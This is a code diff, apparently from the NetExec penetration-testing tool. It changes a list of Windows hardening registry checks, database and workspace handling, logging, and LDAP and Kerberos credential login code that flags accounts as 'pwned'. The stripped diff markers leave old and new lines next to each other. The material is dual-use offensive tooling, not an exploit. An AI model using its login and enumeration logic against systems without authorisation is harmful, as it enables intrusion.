ConfigCheck("Hash storage format", "Checks if storing hashes in LM format is disabled", checker_args=[[self, ("HKLM\\System\\CurrentControlSet\\Control\\Lsa", "NoLMHash", 1)]]),
|
||||
ConfigCheck("Always install elevated", "Checks if AlwaysInstallElevated is disabled", checker_args=[[self, ("HKCU\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer", "AlwaysInstallElevated", 0)]]),
|
||||
ConfigCheck("IPv6 preference", "Checks if IPv6 is preferred over IPv4", checker_args=[[self, ("HKLM\\SYSTEM\\CurrentControlSet\\Services\\Tcpip6\\Parameters", "DisabledComponents", (32, 255), in_)]]),
|
||||
ConfigCheck("Spooler service", "Checks if the spooler service is disabled", checkers=[self.check_spooler_service]),
|
||||
ConfigCheck("WDigest authentication", "Checks if WDigest authentication is disabled", checker_args=[[self, ("HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest", "UseLogonCredential", 0)]]),
|
||||
ConfigCheck("WSUS configuration", "Checks if WSUS configuration uses HTTPS", checkers=[self.check_wsus_running, None], checker_args=[[], [self, ("HKLM\\Software\\Policies\\Microsoft\\Windows\\WindowsUpdate", "WUServer", "https://", startswith), ("HKLM\\Software\\Policies\\Microsoft\\Windows\\WindowsUpdate", "UseWUServer", 0, operator.eq)]], checker_kwargs=[{}, {"options": {"lastWins": True}}]),
|
||||
ConfigCheck("Small LSA cache", "Checks how many logons are kept in the LSA cache", checker_args=[[self, ("HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", "CachedLogonsCount", 2, le)]]),
|
||||
ConfigCheck("AppLocker rules defined", "Checks if there are AppLocker rules defined", checkers=[self.check_applocker]),
|
||||
ConfigCheck("LSA cache", "Checks how many logons are kept in the LSA cache", checker_args=[[self, ("HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", "CachedLogonsCount", 2, le)]]),
|
||||
ConfigCheck("AppLocker", "Checks if there are AppLocker rules defined", checkers=[self.check_applocker]),
|
||||
ConfigCheck("RDP expiration time", "Checks RDP session timeout", checker_args=[[self, ("HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows NT\\Terminal Services", "MaxDisconnectionTime", 0, operator.gt), ("HKCU\\SOFTWARE\\Policies\\Microsoft\\Windows NT\\Terminal Services", "MaxDisconnectionTime", 0, operator.gt)]]),
|
||||
ConfigCheck("CredentialGuard enabled", "Checks if CredentialGuard is enabled", checker_args=[[self, ("HKLM\\SYSTEM\\CurrentControlSet\\Control\\DeviceGuard", "EnableVirtualizationBasedSecurity", 1), ("HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa", "LsaCfgFlags", 1)]]),
|
||||
ConfigCheck("Lsass run as PPL", "Checks if lsass runs as a protected process", checker_args=[[self, ("HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa", "RunAsPPL", 1)]]),
|
||||
ConfigCheck("No Powershell v2", "Checks if powershell v2 is available", checker_args=[[self, ("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\3\\PowerShellEngine", "PSCompatibleVersion", "2.0", not_(operator.contains))]]),
|
||||
ConfigCheck("LmCompatibilityLevel == 5", "Checks if LmCompatibilityLevel is set to 5", checker_args=[[self, ("HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa", "LmCompatibilityLevel", 5, operator.ge)]]),
|
||||
ConfigCheck("NBTNS disabled", "Checks if NBTNS is disabled on all interfaces", checkers=[self.check_nbtns]),
|
||||
ConfigCheck("mDNS disabled", "Checks if mDNS is disabled", checker_args=[[self, ("HKLM\\SYSTEM\\CurrentControlSet\\Services\\DNScache\\Parameters", "EnableMDNS", 0)]]),
|
||||
ConfigCheck("SMB signing enabled", "Checks if SMB signing is enabled", checker_args=[[self, ("HKLM\\System\\CurrentControlSet\\Services\\LanmanServer\\Parameters", "requiresecuritysignature", 1)]]),
|
||||
ConfigCheck("LDAP signing enabled", "Checks if LDAP signing is enabled", checker_args=[[self, ("HKLM\\SYSTEM\\CurrentControlSet\\Services\\NTDS\\Parameters", "LDAPServerIntegrity", 2), ("HKLM\\SYSTEM\\CurrentControlSet\\Services\\NTDS", "LdapEnforceChannelBinding", 2)]]),
|
||||
ConfigCheck("SMB encryption enabled", "Checks if SMB encryption is enabled", checker_args=[[self, ("HKLM\\SYSTEM\\CurrentControlSet\\Services\\LanmanServer\\Parameters", "EncryptData", 1)]]),
|
||||
ConfigCheck("CredentialGuard", "Checks if CredentialGuard is enabled", checker_args=[[self, ("HKLM\\SYSTEM\\CurrentControlSet\\Control\\DeviceGuard", "EnableVirtualizationBasedSecurity", 1), ("HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa", "LsaCfgFlags", 1)]]),
|
||||
ConfigCheck("PPL", "Checks if lsass runs as a protected process", checker_args=[[self, ("HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa", "RunAsPPL", 1)]]),
|
||||
ConfigCheck("Powershell v2 availability", "Checks if powershell v2 is available", checker_args=[[self, ("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\3\\PowerShellEngine", "PSCompatibleVersion", "2.0", not_(operator.contains))]]),
|
||||
ConfigCheck("LmCompatibilityLevel", "Checks if LmCompatibilityLevel is set to 5", checker_args=[[self, ("HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa", "LmCompatibilityLevel", 5, operator.ge)]]),
|
||||
ConfigCheck("NBTNS", "Checks if NBTNS is disabled on all interfaces", checkers=[self.check_nbtns]),
|
||||
ConfigCheck("mDNS", "Checks if mDNS is disabled", checker_args=[[self, ("HKLM\\SYSTEM\\CurrentControlSet\\Services\\DNScache\\Parameters", "EnableMDNS", 0)]]),
|
||||
ConfigCheck("SMB signing", "Checks if SMB signing is enabled", checker_args=[[self, ("HKLM\\System\\CurrentControlSet\\Services\\LanmanServer\\Parameters", "requiresecuritysignature", 1)]]),
|
||||
ConfigCheck("LDAP signing", "Checks if LDAP signing is enabled", checker_args=[[self, ("HKLM\\SYSTEM\\CurrentControlSet\\Services\\NTDS\\Parameters", "LDAPServerIntegrity", 2), ("HKLM\\SYSTEM\\CurrentControlSet\\Services\\NTDS", "LdapEnforceChannelBinding", 2)]]),
|
||||
ConfigCheck("SMB encryption", "Checks if SMB encryption is enabled", checker_args=[[self, ("HKLM\\SYSTEM\\CurrentControlSet\\Services\\LanmanServer\\Parameters", "EncryptData", 1)]]),
|
||||
ConfigCheck("RDP authentication", "Checks RDP authentication configuration (NLA auth and restricted admin mode)", checker_args=[[self, ("HKLM\\System\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp\\", "UserAuthentication", 1), ("HKLM\\SYSTEM\\CurrentControlSet\\Control\\LSA", "RestrictedAdminMode", 1)]]),
|
||||
ConfigCheck("BitLocker configuration", "Checks the BitLocker configuration (based on https://www.stigviewer.com/stig/windows_10/2020-06-15/finding/V-94859)", checker_args=[[self, ("HKLM\\SOFTWARE\\Policies\\Microsoft\\FVE", "UseAdvancedStartup", 1), ("HKLM\\SOFTWARE\\Policies\\Microsoft\\FVE", "UseTPMPIN", 1)]]),
|
||||
ConfigCheck("Guest account disabled", "Checks if the guest account is disabled", checkers=[self.check_guest_account_disabled]),
|
||||
ConfigCheck("Automatic session lock enabled", "Checks if the session is automatically locked on after a period of inactivity", checker_args=[[self, ("HKCU\\Control Panel\\Desktop", "ScreenSaverIsSecure", 1), ("HKCU\\Control Panel\\Desktop", "ScreenSaveTimeOut", 300, le)]]),
|
||||
ConfigCheck('Powershell Execution Policy == "Restricted"', 'Checks if the Powershell execution policy is set to "Restricted"', checker_args=[[self, ("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds\\Microsoft.Powershell", "ExecutionPolicy", "Restricted\x00"), ("HKCU\\SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds\\Microsoft.Powershell", "ExecutionPolicy", "Restricted\x00")]], checker_kwargs=[{"options": {"KOIfMissing": False, "lastWins": True}}])
|
||||
ConfigCheck("Automatic session lock", "Checks if the session is automatically locked on after a period of inactivity", checker_args=[[self, ("HKCU\\Control Panel\\Desktop", "ScreenSaverIsSecure", 1), ("HKCU\\Control Panel\\Desktop", "ScreenSaveTimeOut", 300, le)]]),
|
||||
ConfigCheck("Powershell Execution Policy", 'Checks if the Powershell execution policy is set to "Restricted"', checker_args=[[self, ("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1\ShellIds\Microsoft.Powershell", "ExecutionPolicy", "Restricted\x00"), ("HKCU\\SOFTWARE\\Microsoft\\PowerShell\\1\ShellIds\Microsoft.Powershell", "ExecutionPolicy", "Restricted\x00")]], checker_kwargs=[{"options": {"KOIfMissing": False, "lastWins": True}}])
|
||||
]
|
||||
|
||||
# Add check to conf_checks table if missing
|
||||
@@ -588,12 +588,16 @@ class HostChecker:
|
||||
subkey_handle = ans["phkResult"]
|
||||
|
||||
if valueName is None:
|
||||
return get_value(subkey_handle)[2]
|
||||
_, _, data = get_value(subkey_handle)
|
||||
else:
|
||||
for _, name, data in subkey_values(subkey_handle):
|
||||
found = False
|
||||
for _, name, _data in subkey_values(subkey_handle):
|
||||
if name.upper() == valueName.upper():
|
||||
return data
|
||||
return DCERPCSessionError(error_code=ERROR_OBJECT_NOT_FOUND)
|
||||
found = True
|
||||
break
|
||||
if not found:
|
||||
return DCERPCSessionError(error_code=ERROR_OBJECT_NOT_FOUND)
|
||||
return data
|
||||
|
||||
# Methods for getting values from SAMR and SCM #
|
||||
################################################
|
||||
|
||||
File renamed without changes.
File renamed without changes.
+24
-13
@@ -12,7 +12,6 @@ from nxc.paths import NXC_PATH
|
||||
from nxc.console import nxc_console
|
||||
from nxc.logger import nxc_logger
|
||||
from nxc.config import nxc_config, nxc_workspace, config_log, ignore_opsec
|
||||
from nxc.database import create_db_engine
|
||||
from concurrent.futures import ThreadPoolExecutor, as_completed
|
||||
import asyncio
|
||||
from nxc.helpers import powershell
|
||||
@@ -21,6 +20,8 @@ import os
|
||||
from os.path import exists
|
||||
from os.path import join as path_join
|
||||
from sys import exit
|
||||
import logging
|
||||
import sqlalchemy
|
||||
from rich.progress import Progress
|
||||
import platform
|
||||
|
||||
@@ -37,15 +38,19 @@ if platform.system() != "Windows":
|
||||
resource.setrlimit(resource.RLIMIT_NOFILE, file_limit)
|
||||
|
||||
|
||||
|
||||
def create_db_engine(db_path):
|
||||
return sqlalchemy.create_engine(f"sqlite:///{db_path}", isolation_level="AUTOCOMMIT", future=True)
|
||||
|
||||
|
||||
async def start_run(protocol_obj, args, db, targets):
|
||||
futures = []
|
||||
nxc_logger.debug("Creating ThreadPoolExecutor")
|
||||
if args.no_progress or len(targets) == 1:
|
||||
with ThreadPoolExecutor(max_workers=args.threads) as executor:
|
||||
with ThreadPoolExecutor(max_workers=args.threads + 1) as executor:
|
||||
nxc_logger.debug(f"Creating thread for {protocol_obj}")
|
||||
futures = [executor.submit(protocol_obj, args, db, target) for target in targets]
|
||||
_ = [executor.submit(protocol_obj, args, db, target) for target in targets]
|
||||
else:
|
||||
with Progress(console=nxc_console) as progress, ThreadPoolExecutor(max_workers=args.threads) as executor:
|
||||
with Progress(console=nxc_console) as progress, ThreadPoolExecutor(max_workers=args.threads + 1) as executor:
|
||||
current = 0
|
||||
total = len(targets)
|
||||
tasks = progress.add_task(
|
||||
@@ -57,17 +62,23 @@ async def start_run(protocol_obj, args, db, targets):
|
||||
for _ in as_completed(futures):
|
||||
current += 1
|
||||
progress.update(tasks, completed=current)
|
||||
for future in as_completed(futures):
|
||||
try:
|
||||
future.result()
|
||||
except Exception:
|
||||
nxc_logger.exception(f"Exception for target {targets[futures.index(future)]}: {future.exception()}")
|
||||
|
||||
|
||||
def main():
|
||||
first_run_setup(nxc_logger)
|
||||
root_logger = logging.getLogger("root")
|
||||
args = gen_cli_args()
|
||||
|
||||
if args.verbose:
|
||||
nxc_logger.logger.setLevel(logging.INFO)
|
||||
root_logger.setLevel(logging.INFO)
|
||||
elif args.debug:
|
||||
nxc_logger.logger.setLevel(logging.DEBUG)
|
||||
root_logger.setLevel(logging.DEBUG)
|
||||
else:
|
||||
nxc_logger.logger.setLevel(logging.ERROR)
|
||||
root_logger.setLevel(logging.ERROR)
|
||||
|
||||
# if these are the same, it might double log to file (two FileHandlers will be added)
|
||||
# but this should never happen by accident
|
||||
if config_log:
|
||||
@@ -75,8 +86,8 @@ def main():
|
||||
if hasattr(args, "log") and args.log:
|
||||
nxc_logger.add_file_log(args.log)
|
||||
|
||||
nxc_logger.debug(f"PYTHON VERSION: {sys.version}")
|
||||
nxc_logger.debug(f"RUNNING ON: {platform.system()} Release: {platform.release()}")
|
||||
nxc_logger.debug("PYTHON VERSION: " + sys.version)
|
||||
nxc_logger.debug("RUNNING ON: " + platform.system() + " Release: " + platform.release())
|
||||
nxc_logger.debug(f"Passed args: {args}")
|
||||
|
||||
# FROM HERE ON A PROTOCOL IS REQUIRED
|
||||
@@ -173,7 +184,7 @@ def main():
|
||||
exit(0)
|
||||
elif args.module:
|
||||
nxc_logger.debug(f"Modules to be Loaded: {args.module}, {type(args.module)}")
|
||||
for m in args.module:
|
||||
for m in map(str.lower, args.module):
|
||||
if m not in modules:
|
||||
nxc_logger.error(f"Module not found: {m}")
|
||||
exit(1)
|
||||
|
||||
+87
-51
@@ -1,25 +1,31 @@
|
||||
import cmd
|
||||
import configparser
|
||||
import csv
|
||||
import sys
|
||||
import os
|
||||
import argparse
|
||||
from os import listdir
|
||||
from os.path import exists
|
||||
from os.path import join as path_join
|
||||
import shutil
|
||||
from sqlite3 import connect
|
||||
import sys
|
||||
from textwrap import dedent
|
||||
|
||||
from requests import get, post, ConnectionError
|
||||
from sqlalchemy import create_engine
|
||||
from terminaltables import AsciiTable
|
||||
from termcolor import colored
|
||||
|
||||
from nxc.loaders.protocolloader import ProtocolLoader
|
||||
from nxc.paths import CONFIG_PATH, WORKSPACE_DIR
|
||||
from nxc.database import create_db_engine, open_config, get_workspace, get_db, write_configfile, create_workspace, set_workspace
|
||||
from nxc.paths import CONFIG_PATH, WS_PATH, WORKSPACE_DIR
|
||||
|
||||
|
||||
class UserExitedProto(Exception):
|
||||
pass
|
||||
|
||||
|
||||
def create_db_engine(db_path):
|
||||
return create_engine(f"sqlite:///{db_path}", isolation_level="AUTOCOMMIT", future=True)
|
||||
|
||||
|
||||
def print_table(data, title=None):
|
||||
print()
|
||||
table = AsciiTable(data)
|
||||
@@ -440,15 +446,29 @@ class NXCDBMenu(cmd.Cmd):
|
||||
def __init__(self, config_path):
|
||||
cmd.Cmd.__init__(self)
|
||||
self.config_path = config_path
|
||||
|
||||
try:
|
||||
self.config = configparser.ConfigParser()
|
||||
self.config.read(self.config_path)
|
||||
except Exception as e:
|
||||
print(f"[-] Error reading nxc.conf: {e}")
|
||||
sys.exit(1)
|
||||
|
||||
self.conn = None
|
||||
self.p_loader = ProtocolLoader()
|
||||
self.protocols = self.p_loader.get_protocols()
|
||||
|
||||
self.config = open_config(self.config_path)
|
||||
self.workspace = get_workspace(self.config)
|
||||
self.db = get_db(self.config)
|
||||
self.workspace = self.config.get("nxc", "workspace")
|
||||
self.do_workspace(self.workspace)
|
||||
|
||||
self.db = self.config.get("nxc", "last_used_db")
|
||||
if self.db:
|
||||
self.do_proto(self.db)
|
||||
|
||||
def write_configfile(self):
|
||||
with open(self.config_path, "w") as configfile:
|
||||
self.config.write(configfile)
|
||||
|
||||
def do_proto(self, proto):
|
||||
if not proto:
|
||||
return
|
||||
@@ -459,7 +479,7 @@ class NXCDBMenu(cmd.Cmd):
|
||||
db_nav_object = self.p_loader.load_protocol(self.protocols[proto]["nvpath"])
|
||||
db_object = self.p_loader.load_protocol(self.protocols[proto]["dbpath"])
|
||||
self.config.set("nxc", "last_used_db", proto)
|
||||
write_configfile(self.config, self.config_path)
|
||||
self.write_configfile()
|
||||
try:
|
||||
proto_menu = db_nav_object.navigator(self, db_object.database(self.conn), proto)
|
||||
proto_menu.cmdloop()
|
||||
@@ -486,18 +506,18 @@ class NXCDBMenu(cmd.Cmd):
|
||||
if subcommand == "create":
|
||||
new_workspace = line.split()[1].strip()
|
||||
print(f"[*] Creating workspace '{new_workspace}'")
|
||||
create_workspace(new_workspace, self.p_loader)
|
||||
self.create_workspace(new_workspace, self.p_loader, self.protocols)
|
||||
self.do_workspace(new_workspace)
|
||||
elif subcommand == "list":
|
||||
print("[*] Enumerating Workspaces")
|
||||
for workspace in listdir(path_join(WORKSPACE_DIR)):
|
||||
if workspace == self.workspace:
|
||||
print(f" * {colored(workspace, 'green')}")
|
||||
print("==> " + workspace)
|
||||
else:
|
||||
print(f" {workspace}")
|
||||
print(workspace)
|
||||
elif exists(path_join(WORKSPACE_DIR, line)):
|
||||
self.config.set("nxc", "workspace", line)
|
||||
write_configfile(self.config, self.config_path)
|
||||
self.write_configfile()
|
||||
self.workspace = line
|
||||
self.prompt = f"nxcdb ({line}) > "
|
||||
|
||||
@@ -518,49 +538,65 @@ class NXCDBMenu(cmd.Cmd):
|
||||
Exits
|
||||
"""
|
||||
print_help(help_string)
|
||||
|
||||
|
||||
@staticmethod
|
||||
def create_workspace(workspace_name, p_loader, protocols):
|
||||
os.mkdir(path_join(WORKSPACE_DIR, workspace_name))
|
||||
|
||||
for protocol in protocols:
|
||||
protocol_object = p_loader.load_protocol(protocols[protocol]["dbpath"])
|
||||
proto_db_path = path_join(WORKSPACE_DIR, workspace_name, f"{protocol}.db")
|
||||
|
||||
if not exists(proto_db_path):
|
||||
print(f"[*] Initializing {protocol.upper()} protocol database")
|
||||
conn = connect(proto_db_path)
|
||||
c = conn.cursor()
|
||||
|
||||
# try to prevent some weird sqlite I/O errors
|
||||
c.execute("PRAGMA journal_mode = OFF")
|
||||
c.execute("PRAGMA foreign_keys = 1")
|
||||
|
||||
protocol_object.database.db_schema(c)
|
||||
|
||||
# commit the changes and close everything off
|
||||
conn.commit()
|
||||
conn.close()
|
||||
|
||||
|
||||
def delete_workspace(workspace_name):
|
||||
shutil.rmtree(path_join(WORKSPACE_DIR, workspace_name))
|
||||
|
||||
|
||||
def initialize_db(logger):
|
||||
if not exists(path_join(WS_PATH, "default")):
|
||||
logger.debug("Creating default workspace")
|
||||
os.mkdir(path_join(WS_PATH, "default"))
|
||||
|
||||
p_loader = ProtocolLoader()
|
||||
protocols = p_loader.get_protocols()
|
||||
for protocol in protocols:
|
||||
protocol_object = p_loader.load_protocol(protocols[protocol]["dbpath"])
|
||||
proto_db_path = path_join(WS_PATH, "default", f"{protocol}.db")
|
||||
|
||||
if not exists(proto_db_path):
|
||||
logger.debug(f"Initializing {protocol.upper()} protocol database")
|
||||
conn = connect(proto_db_path)
|
||||
c = conn.cursor()
|
||||
# try to prevent some weird sqlite I/O errors
|
||||
c.execute("PRAGMA journal_mode = OFF") # could try setting to PERSIST if DB corruption starts occurring
|
||||
c.execute("PRAGMA foreign_keys = 1")
|
||||
# set a small timeout (5s) so if another thread is writing to the database, the entire program doesn't crash
|
||||
c.execute("PRAGMA busy_timeout = 5000")
|
||||
protocol_object.database.db_schema(c)
|
||||
# commit the changes and close everything off
|
||||
conn.commit()
|
||||
conn.close()
|
||||
|
||||
|
||||
def main():
|
||||
if not exists(CONFIG_PATH):
|
||||
print("[-] Unable to find config file")
|
||||
sys.exit(1)
|
||||
|
||||
parser = argparse.ArgumentParser(
|
||||
description="NXCDB is a database navigator for NXC",
|
||||
)
|
||||
parser.add_argument(
|
||||
"-gw",
|
||||
"--get-workspace",
|
||||
action="store_true",
|
||||
help="get the current workspace",
|
||||
)
|
||||
parser.add_argument(
|
||||
"-cw",
|
||||
"--create-workspace",
|
||||
help="create a new workspace",
|
||||
)
|
||||
parser.add_argument(
|
||||
"-sw",
|
||||
"--set-workspace",
|
||||
help="set the current workspace",
|
||||
)
|
||||
args = parser.parse_args()
|
||||
|
||||
if args.create_workspace:
|
||||
create_workspace(args.create_workspace)
|
||||
sys.exit()
|
||||
if args.set_workspace:
|
||||
set_workspace(CONFIG_PATH, args.set_workspace)
|
||||
sys.exit()
|
||||
if args.get_workspace:
|
||||
current_workspace = get_workspace(open_config(CONFIG_PATH))
|
||||
for workspace in listdir(path_join(WORKSPACE_DIR)):
|
||||
if workspace == current_workspace:
|
||||
print(f" * {colored(workspace, 'green')}")
|
||||
else:
|
||||
print(f" {workspace}")
|
||||
sys.exit()
|
||||
|
||||
try:
|
||||
nxcdbnav = NXCDBMenu(CONFIG_PATH)
|
||||
nxcdbnav.cmdloop()
|
||||
|
||||
@@ -1,13 +0,0 @@
|
||||
from impacket.ldap import ldapasn1 as ldapasn1_impacket
|
||||
|
||||
def parse_result_attributes(ldap_response):
|
||||
parsed_response = []
|
||||
for entry in ldap_response:
|
||||
# SearchResultReferences may be returned
|
||||
if not isinstance(entry, ldapasn1_impacket.SearchResultEntry):
|
||||
continue
|
||||
attribute_map = {}
|
||||
for attribute in entry["attributes"]:
|
||||
attribute_map[str(attribute["type"])] = str(attribute["vals"][0])
|
||||
parsed_response.append(attribute_map)
|
||||
return parsed_response
|
||||
+1
-1
@@ -8,7 +8,7 @@ if os.name == "nt":
|
||||
TMP_PATH = os.getenv("LOCALAPPDATA") + "\\Temp\\nxc_hosted"
|
||||
if hasattr(sys, "getandroidapilevel"):
|
||||
TMP_PATH = os.path.join("/data", "data", "com.termux", "files", "usr", "tmp", "nxc_hosted")
|
||||
|
||||
WS_PATH = os.path.join(NXC_PATH, "workspaces")
|
||||
CERT_PATH = os.path.join(NXC_PATH, "nxc.pem")
|
||||
CONFIG_PATH = os.path.join(NXC_PATH, "nxc.conf")
|
||||
WORKSPACE_DIR = os.path.join(NXC_PATH, "workspaces")
|
||||
|
||||
@@ -74,7 +74,7 @@ class database:
|
||||
print(
|
||||
f"""
|
||||
[-] Error reflecting tables for the {self.protocol} protocol - this means there is a DB schema mismatch
|
||||
[-] This is probably because a newer version of nxc is being run on an old DB schema
|
||||
[-] This is probably because a newer version of nxc is being ran on an old DB schema
|
||||
[-] Optionally save the old DB data (`cp {self.db_path} ~/nxc_{self.protocol.lower()}.bak`)
|
||||
[-] Then remove the {self.protocol} DB (`rm -f {self.db_path}`) and run nxc to initialize the new DB"""
|
||||
)
|
||||
|
||||
+145
-169
@@ -5,7 +5,7 @@ import hmac
|
||||
import os
|
||||
import socket
|
||||
from binascii import hexlify
|
||||
from datetime import datetime, timedelta
|
||||
from datetime import datetime
|
||||
from re import sub, I
|
||||
from zipfile import ZipFile
|
||||
from termcolor import colored
|
||||
@@ -38,7 +38,6 @@ from nxc.logger import NXCAdapter, nxc_logger
|
||||
from nxc.protocols.ldap.bloodhound import BloodHound
|
||||
from nxc.protocols.ldap.gmsa import MSDS_MANAGEDPASSWORD_BLOB
|
||||
from nxc.protocols.ldap.kerberos import KerberosAttacks
|
||||
from nxc.parsers.ldap_results import parse_result_attributes
|
||||
|
||||
ldap_error_status = {
|
||||
"1": "STATUS_NOT_SUPPORTED",
|
||||
@@ -254,7 +253,9 @@ class ldap(connection):
|
||||
self.hostname = self.target
|
||||
self.domain = self.targetDomain
|
||||
# smb no open, specify the domain
|
||||
if not self.args.no_smb:
|
||||
if self.args.no_smb:
|
||||
self.domain = self.args.domain
|
||||
else:
|
||||
self.local_ip = self.conn.getSMBServer().get_socket().getsockname()[0]
|
||||
|
||||
try:
|
||||
@@ -265,8 +266,8 @@ class ldap(connection):
|
||||
if "STATUS_NOT_SUPPORTED" in str(e):
|
||||
self.no_ntlm = True
|
||||
if not self.no_ntlm:
|
||||
self.domain = self.conn.getServerDNSDomainName()
|
||||
self.hostname = self.conn.getServerName()
|
||||
self.targetDomain = self.domain = self.conn.getServerDNSDomainName()
|
||||
self.server_os = self.conn.getServerOS()
|
||||
self.signing = self.conn.isSigningRequired() if self.smbv1 else self.conn._SMBConnection._Connection["RequireSigning"]
|
||||
self.os_arch = self.get_os_arch()
|
||||
@@ -274,19 +275,21 @@ class ldap(connection):
|
||||
|
||||
if not self.domain:
|
||||
self.domain = self.hostname
|
||||
if self.args.domain:
|
||||
self.domain = self.args.domain
|
||||
if self.args.local_auth:
|
||||
self.domain = self.hostname
|
||||
|
||||
try: # noqa: SIM105
|
||||
# DC's seem to want us to logoff first, windows workstations sometimes reset the connection
|
||||
self.conn.logoff()
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
if self.args.domain:
|
||||
self.domain = self.args.domain
|
||||
if self.args.local_auth:
|
||||
self.domain = self.hostname
|
||||
|
||||
# Re-connect since we logged off
|
||||
self.create_conn_obj()
|
||||
self.output_filename = os.path.expanduser(f"~/.nxc/logs/{self.hostname}_{self.host}".replace(":", "-"))
|
||||
self.output_filename = os.path.expanduser(f"~/.nxc/logs/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}".replace(":", "-"))
|
||||
|
||||
def print_host_info(self):
|
||||
self.logger.debug("Printing host info for LDAP")
|
||||
@@ -299,11 +302,20 @@ class ldap(connection):
|
||||
self.logger.extra["port"] = "445" if not self.no_ntlm else "389"
|
||||
signing = colored(f"signing:{self.signing}", host_info_colors[0], attrs=["bold"]) if self.signing else colored(f"signing:{self.signing}", host_info_colors[1], attrs=["bold"])
|
||||
smbv1 = colored(f"SMBv1:{self.smbv1}", host_info_colors[2], attrs=["bold"]) if self.smbv1 else colored(f"SMBv1:{self.smbv1}", host_info_colors[3], attrs=["bold"])
|
||||
self.logger.display(f"{self.server_os}{f' x{self.os_arch}' if self.os_arch else ''} (name:{self.hostname}) (domain:{self.targetDomain}) ({signing}) ({smbv1})")
|
||||
self.logger.display(f"{self.server_os}{f' x{self.os_arch}' if self.os_arch else ''} (name:{self.hostname}) (domain:{self.domain}) ({signing}) ({smbv1})")
|
||||
self.logger.extra["protocol"] = "LDAP"
|
||||
return True
|
||||
|
||||
def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False):
|
||||
def kerberos_login(
|
||||
self,
|
||||
domain,
|
||||
username,
|
||||
password="",
|
||||
ntlm_hash="",
|
||||
aesKey="",
|
||||
kdcHost="",
|
||||
useCache=False,
|
||||
):
|
||||
self.username = username
|
||||
self.password = password
|
||||
self.domain = domain
|
||||
@@ -337,13 +349,20 @@ class ldap(connection):
|
||||
|
||||
try:
|
||||
# Connect to LDAP
|
||||
self.logger.extra["protocol"] = "LDAPS" if (self.args.gmsa or self.port == 636) else "LDAP"
|
||||
self.logger.extra["port"] = "636" if (self.args.gmsa or self.port == 636) else "389"
|
||||
proto = "ldaps" if (self.args.gmsa or self.port == 636) else "ldap"
|
||||
ldap_url = f"{proto}://{self.target}"
|
||||
self.logger.info(f"Connecting to {ldap_url} - {self.baseDN} [1]")
|
||||
self.ldapConnection = ldap_impacket.LDAPConnection(ldap_url, self.baseDN)
|
||||
self.ldapConnection.kerberosLogin(username, password, domain, self.lmhash, self.nthash, aesKey, kdcHost=kdcHost, useCache=useCache)
|
||||
self.ldapConnection.kerberosLogin(
|
||||
username,
|
||||
password,
|
||||
domain,
|
||||
self.lmhash,
|
||||
self.nthash,
|
||||
aesKey,
|
||||
kdcHost=kdcHost,
|
||||
useCache=useCache,
|
||||
)
|
||||
|
||||
if self.username == "":
|
||||
self.username = self.get_ldap_username()
|
||||
@@ -351,9 +370,14 @@ class ldap(connection):
|
||||
self.check_if_admin()
|
||||
|
||||
used_ccache = " from ccache" if useCache else f":{process_secret(kerb_pass)}"
|
||||
self.logger.success(f"{domain}\\{self.username}{used_ccache} {self.mark_pwned()}")
|
||||
out = f"{domain}\\{self.username}{used_ccache} {self.mark_pwned()}"
|
||||
|
||||
if not self.args.local_auth and self.username != "":
|
||||
|
||||
self.logger.extra["protocol"] = "LDAP"
|
||||
self.logger.extra["port"] = "636" if (self.args.gmsa or self.port == 636) else "389"
|
||||
self.logger.success(out)
|
||||
|
||||
if not self.args.local_auth:
|
||||
add_user_bh(self.username, self.domain, self.logger, self.config)
|
||||
if self.admin_privs:
|
||||
add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
|
||||
@@ -375,7 +399,7 @@ class ldap(connection):
|
||||
return False
|
||||
except (KeyError, KerberosException, OSError) as e:
|
||||
self.logger.fail(
|
||||
f"{self.domain}\\{self.username}{' from ccache' if useCache else ':%s' % (process_secret(kerb_pass))} {e!s}",
|
||||
f"{self.domain}\\{self.username}{' from ccache' if useCache else ':%s' % (kerb_pass if not self.config.get('nxc', 'audit_mode') else self.config.get('nxc', 'audit_mode') * 8)} {e!s}",
|
||||
color="red",
|
||||
)
|
||||
return False
|
||||
@@ -384,12 +408,19 @@ class ldap(connection):
|
||||
# We need to try SSL
|
||||
try:
|
||||
# Connect to LDAPS
|
||||
self.logger.extra["protocol"] = "LDAPS"
|
||||
self.logger.extra["port"] = "636"
|
||||
ldaps_url = f"ldaps://{self.target}"
|
||||
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} [2]")
|
||||
self.ldapConnection = ldap_impacket.LDAPConnection(ldaps_url, self.baseDN)
|
||||
self.ldapConnection.kerberosLogin(username, password, domain, self.lmhash, self.nthash, aesKey, kdcHost=kdcHost, useCache=useCache)
|
||||
self.ldapConnection.kerberosLogin(
|
||||
username,
|
||||
password,
|
||||
domain,
|
||||
self.lmhash,
|
||||
self.nthash,
|
||||
aesKey,
|
||||
kdcHost=kdcHost,
|
||||
useCache=useCache,
|
||||
)
|
||||
|
||||
if self.username == "":
|
||||
self.username = self.get_ldap_username()
|
||||
@@ -397,9 +428,13 @@ class ldap(connection):
|
||||
self.check_if_admin()
|
||||
|
||||
# Prepare success credential text
|
||||
self.logger.success(f"{domain}\\{self.username} {self.mark_pwned()}")
|
||||
out = f"{domain}\\{self.username} {self.mark_pwned()}"
|
||||
|
||||
if not self.args.local_auth and self.username != "":
|
||||
